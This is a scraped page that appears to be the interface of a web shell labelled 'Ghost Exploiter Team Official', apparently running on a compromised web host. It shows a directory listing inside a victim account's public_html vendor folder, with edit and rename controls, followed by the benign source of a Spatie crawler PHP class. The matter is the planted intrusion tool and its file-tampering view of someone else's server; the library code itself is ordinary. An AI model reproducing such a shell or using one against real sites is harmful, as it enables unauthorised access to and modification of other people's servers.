webshell

Ghost Exploiter Team Official

Directory >> /home/whitjouh/public_html/core/vendor/spatie/crawler/src/

File / Folder	Size	Action
.	-
CrawlObservers	--	ren
CrawlProfiles	--	ren
CrawlQueues	--	ren
Exceptions	--	ren
Handlers	--	ren
CrawlUrl.php	0.744KB	edt ren
Crawler.php	13.223KB	edt ren
CrawlerRobots.php	1.137KB	edt ren
LinkAdder.php	3.228KB	edt ren
ResponseWithCachedBody.php	0.717KB	edt ren

<?php

namespace Spatie\Crawler;

use Spatie\Robots\RobotsHeaders;
use Spatie\Robots\RobotsMeta;

class CrawlerRobots
{
    protected RobotsHeaders $robotsHeaders;

protected RobotsMeta $robotsMeta;

protected bool $mustRespectRobots;

public function __construct(array $headers, string $body, bool $mustRespectRobots)
    {
        $this->robotsHeaders = RobotsHeaders::create($headers);

$this->robotsMeta = RobotsMeta::create($body);

$this->mustRespectRobots = $mustRespectRobots;
    }

public function mayIndex(): bool
    {
        if (! $this->mustRespectRobots) {
            return true;
        }

if (! $this->robotsHeaders->mayIndex()) {
            return false;
        }

if (! $this->robotsMeta->mayIndex()) {
            return false;
        }

return true;
    }

public function mayFollow(): bool
    {
        if (! $this->mustRespectRobots) {
            return true;
        }

if (! $this->robotsHeaders->mayFollow()) {
            return false;
        }

if (! $this->robotsMeta->mayFollow()) {
            return false;
        }

return true;
    }
}